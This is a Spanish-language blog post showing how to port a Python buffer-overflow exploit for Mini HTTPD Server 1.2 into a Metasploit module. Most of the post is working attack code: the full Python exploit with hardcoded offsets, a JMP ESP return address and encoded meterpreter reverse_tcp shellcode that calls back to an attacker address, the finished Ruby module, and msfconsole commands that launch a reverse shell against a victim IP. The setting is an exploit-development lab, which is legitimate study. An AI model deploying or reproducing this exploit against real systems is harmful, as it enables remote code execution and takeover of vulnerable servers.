De exploit a Metasploit: Mini HTTPD Server 1.2

En esta entrada voy a intentar explicar como pasar del exploit que desarrollamos en la entrada anterior “Mini HTTPD Server 1.2” a un módulo de Metasploit, el cual nos permitirá tener mucha más flexibilidad a la hora de elegir payloads y otras opciones que iremos incorporando en un futuro.

Aquí podemos ver el esqueleto de un modulo de exploit de Metasploit sacado de “Metasploit Unleashed”.

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  def initialize
    super(
             'Name'          => 'Simplified Exploit Module',
             'Description'   => 'This module sends a payload',
             'Author'        => 'My Name Here',
             'Payload'       => {'Space' => 1024, 'BadChars' => “\x00”},
             'Targets'       => [ ['Automatic', {} ] ],
             'Platform'      => 'win',
          )
           register_options( [
               Opt::RPORT(12345)
           ], self.class)
      end

      # Connect to port, send the payload, handle it, disconnect
      def exploit
         connect()
         sock.put(payload.encoded)
         handler()
         disconnect()
      end
end

Como mínimo siempre van a haber dos funciones, “initialize” y “exploit” (se recomienda una tercera llamada “Check” que se encargaría de averiguar si un host es vulnerable al ataque) aunque se pueden definir todas las funciones que se quieran como en cualquier script.

Como en Python, en Ruby hay que controlar la indentación o sangría, que en los Módulos de Metasploit es de 2 espacios en blanco (es aconsejable configurar las tabulaciones del editor utilizado a 2 espacios).

Aquí un ejemplo del fichero “.vimrc” para configurar las tabulaciones en Vim.

  filetype indent plugin on
  syntax on
  set shiftwidth=2
  set softtabstop=2
  set expandtab

Si se utiliza este “.vimrc” y se intenta copiar el esqueleto anterior en un script, probablemente “Vim” autoindentará cada línea perdiendo el formato del exploit. Para solucionar esto, antes de pegar en el script ejecutar el comando “:set paste”, lo cual permite pegar en el formato que se ha copiado. Una vez copiado, si la indentación del código copiado es mayor que 2 espacios, hay que ejecutar “gg=G” dentro de “Vim” lo cual reformateará el código y lo indentará correctamente.

La línea “include Msf::Exploit::Remote::TCP” es lo que se llama un “Mixin”, lo que permite incluir clases dentro de clases. Los “Mixins” añaden nuevas funciones o sobrecargan funciones existentes cambiando su comportamiento. Existen una serie de “Mixins” ya predefinidos en Metasploit que pueden encontrarse en el directorio “lib/msf/core/” dentro del directorio padre de “Metasploit Framework”.

Puede encontrarse multitud de información sobre los “Mixins” en Internet, por ejemplo en “http://www.offensive-security.com/metasploit-unleashed/Exploit_Mixins”, o simplemente consultado su código fuente.

Algunos “Mixins” utilizados en exploits son:

  • Exploit::Remote::Tcp (lib/msf/core/exploit/tcp.rb)
  • Exploit::Remote::DCERPC (lib/msf/core/exploit/dcerpc.rb)
  • Exploit::Remote::SMB (lib/msf/core/exploit/smb.rb)
  • Exploit::Remote::BruteTargets (lib/msf/core/exploit/brutetargets.rb — lib/msf/core/exploit/brute.rb)
  • Exploit::Remote::HttpClient (lib/msf/core/exploit/http/client.rb)
  • Exploit::Remote::FILEFORMAT (lib/msf/core/exploit/fileformat.rb)
  • Exploit::Remote::Egghunter (lib/msf/core/exploit/egghunter.rb)
  • Exploit::Remote::Omelet (lib/msf/core/exploit/omelet.rb)
  • Exploit::Remote::Seh (lib/msf/core/exploit/seh.rb)

El exploit que queremos integrar en Metasploit es el siguiente:

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f
# Shellcode max size 335 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h (1000 bytes)
ESP += '\xe9\xa2\xfe\xff\xff' # jmp $-345
buffer = 'A' * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = (
"\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Primero vamos a crear el fichero “minihttpd.rb” en “~/.msf4/modules/exploits/windows/misc” (si los directorios no existen se crean) y copiaríamos el esqueleto anterior en su interior. Lo que estamos haciendo es recrear la ruta de los módulo de Metasploit en el home de nuestro usuario.  Podríamos meter el exploit directamente en la ruta del “framework”, pero entonces probablemente al actualizar Metasploit nuestros exploit desaparecerían. Después modificamos la función “initialize” de la plantilla de Metasploit con nuestros datos y los del exploit. Debería quedar más o menos de la siguiente forma:

def initialize
  super(
    'Name'          => 'Mini HTTPD Server 1.2 Exploit',
    'Description'   => 'This module sends a crafted url to exploit a buffer overflow error',
    'Author'        => 'h4rds3c',
    'Payload'       => {'Space' => 1024, 'BadChars' => “\x00”},
    'Targets'       => [ ['Automatic', {} ] ],
    'Platform'      => 'win',
  )
  register_options( [
    Opt::RPORT(12345)
  ], self.class)
end

Ahora modificaremos la parte correspondiente al “Payload”. De nuestro exploit anterior, sabemos que el espacio máximo disponible son 335 bytes y que los “bad chars” son “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f”.

'Payload'  => {
  'Space' => 335,
  'BadChars' => “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f”
},

La configuración que se ha realizado al “payload” va a permitir a Metasploit saber que “payloads” se pueden usar en nuestro exploit y además directamente ya los codificará sin los “bad chars” (si un payload ocupa más de 335 bytes, Metasploit no lo mostrará como payload posible).

La sección “Targets” es donde se configura las máquinas destino de nuestro exploit. En este caso el exploit se hizo sobre un Windows XP SP3 en ingles, así que rellenamos la plantilla de la siguiente forma.

['Windows XP SP3 English',
  {
    ‘Ret’ => 0x7c91fcd8, # jmp esp ntdll.dll
    ‘OffSet’ => 967,
  }
]

En la parte de “register_options” cambiaremos el puerto por el “80” (puerto http).

register_options( [
  Opt::RPORT(80)
], self.class)

Por el momento nuestro exploit deber parecerse al siguiente:

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  def initialize
    super(
      'Name'          => 'Mini HTTPD Server 1.2 Exploit',
      'Description'   => 'This module sends a crafted url to exploit a buffer overflow error',
      'Author'        => 'h4rds3c',
      'Payload'       => {'Space' => 335, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" },
      'Targets'       =>
        [
          ['Win XP Sp3 English',
            {
              'Ret' => 0x7c91fcd8, # jmp esp (ntdll.dll)
              'OffSet' => 967,
            }
          ]
        ],
      'Platform'      => 'win',
    )
    register_options( [
      Opt::RPORT(80)
    ], self.class)
  end

  # Connect to port, send the payload, handle it, disconnect
  def exploit
    connect()
    sock.put(payload.encoded)
    handler()
    disconnect()
  end
end

Ahora debemos de poner la lógica de nuestro exploit en la función “exploit” (también podemos estructurarla en distintas funciones si queremos).

def exploit
  offset_shellcode = 632 # Definimos el espacio hasta el shellcode
  size = 1500 # tamaño del buffer a enviar
  jmp_code = “\x81\xc4\x18\xfc\xff\xff” # movemos ESP 1000 bytes
  jmp_code << “\xe9\xa2\xfe\xff\xff” # Salto atrás hacia el shellcode

  buffer = 'A' * offset_shellcode # Relleno hasta payload
  buffer << payload.encoded # Payload de Mestasploit.
  buffer << 'A' * (target['OffSet']-buffer.length) # Relleno hasta EIP (esto no hace falta, ya que Metasploit creará los payload de 335 bytes justos, añadiendo el directamente el relleno necesario)
  buffer << [target.ret].pack('V')  # 0x7c91fcd8 :  # JMP ESP (ntdll.dll)
  buffer << jmp_code
  buffer << 'A' * (size-buffer.length) # Relleno hasta tamaño de buffer

  req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
  connect()
  print_status("Sending evil buffer...")
  sock.put(req)
  handler()
  disconnect()
end

Como se puede ver simplemente hemos traducido nuestro script en Python a otro en Ruby, pero en este caso nos olvidamos de generar el “payload” que deseamos y simplemente ponemos “payload.encoded” (ya se encargará Metasploit de generar el shellcode para el payload que configuremos al utilizar el módulo y de codificarlo sin bytes malos).
Para la dirección de EIP utilizamos “target.ret”. Esto nos permite definir varios “targets” distintos en el exploit sin modificar la función “exploit”, simplemente se añaden el la función “inicialize”, y después se selecciona el target dentro de Metasploit.

Nota: Cuidado con utilizar comillas simples en lugar de comillas dobles cuando generamos los opcodes de salto (jmp_code) porque en dicho caso el exploit no va a funcionar, ya que las comillas simples van a evitar que se evalúen las expresiones interiores y por lo tanto \x41 no se traduciría a A, si no que se interpretaría como el símbolo “\” seguido de una “x”, un “4” y un “1”.

Nuestro exploit final será:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  def initialize
    super(
      'Name'          => 'Mini HTTPD Server 1.2 Exploit',
      'Description'   => 'This module sends a crafted url to exploit a buffer overflow error',
      'Author'        => 'h4rds3c',
      'Payload'       => {'Space' => 335, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"},
      'Targets'       =>
        [
          ['Win XP Sp3 English',
            {
              'Ret' => 0x7c91fcd8, # jmp esp (ntdll.dll)
              'OffSet' => 967,
            }
          ]
        ],
      'Platform'      => 'windows',
    )
    register_options( [
      Opt::RPORT(80)
    ], self.class)
  end

  # Connect to port, send the payload, handle it, disconnect
  def exploit
    offset_shellcode = 632
    size = 1500

    jmp_code = "\x81\xc4\x18\xfc\xff\xff" # add esp,-3e8h (1000 bytes) move ESP away
    jmp_code << "\xe9\xa2\xfe\xff\xff" # jmp $-345 Jump back to shellcode

    buffer = 'A' * offset_shellcode # Padding before the payload
    buffer << payload.encoded # Payload from Mestasploit.
    buffer << 'A' * (target['OffSet']-buffer.length) # Padding until EIP overwrite
    buffer << [target.ret].pack('V')  # 0x7c91fcd8 :  # JMP ESP (ntdll.dll)
    buffer << jmp_code
    buffer << 'A' * (size-buffer.length) # Padding until buffer size
    print_status("total buffer size: "+buffer.length.to_s)
    req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
    connect()
    print_status("Sending evil buffer...")
    sock.put(req)
    handler()
    disconnect()
  end
end

Para utilizar nuestro exploit, haremos lo siguiente: IP víctima: 192.168.65.139 Puerto servidor: 80 IP atacante: 192.168.65.140

$msfconsole  -n
msf> use exploit/windows/misc/minihttpd
msf exploit(minihttpd) > set RHOST 192.168.65.139
msf exploit(minihttpd) > set RPORT 80
msf exploit(minihttpd) > set payload windows/meterpreter/reverse_tcp
msf exploit(minihttpd) > set LHOST 192.168.65.140
msf exploit(minihttpd) > set target 0
msf exploit(minihttpd) > exploit

A continuación vemos un pantallazo de la configuración de exploit y su ejecución contra Mini HTTPD Server 1.2

py-msf1

PWNED!!!

Depurar errores en los módulos de Metasploit.

Para depurar errores mientras escribimos un exploit en Metasploit, el mejor punto de partida es configurar un nivel alto de “logging” y monitorizar el fichero “~/.msf4/logs/framework.log” desde otro terminal.

msf > set loglevel 5

Además dentro del propio exploit podemos ir poniendo “chivatos” que nos van a mostrar información por pantalla en el momento en que se ejecute la función que los contiene.
A continuación 2 ejemplos:

print_status("total buffer size: "+buffer.length.to_s)
print_status("Sending evil buffer...")

Espero que hay valido la pena llegar hasta aquí en la lectura del post. Próximamente intentaremos adaptar este mismo exploit para evadir las protecciones DEP y lo haremos funcionar en Windows 7.

Un saludo y hasta la próxima.

Publicado en: Exploiting, Metasploit, python, win32

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

*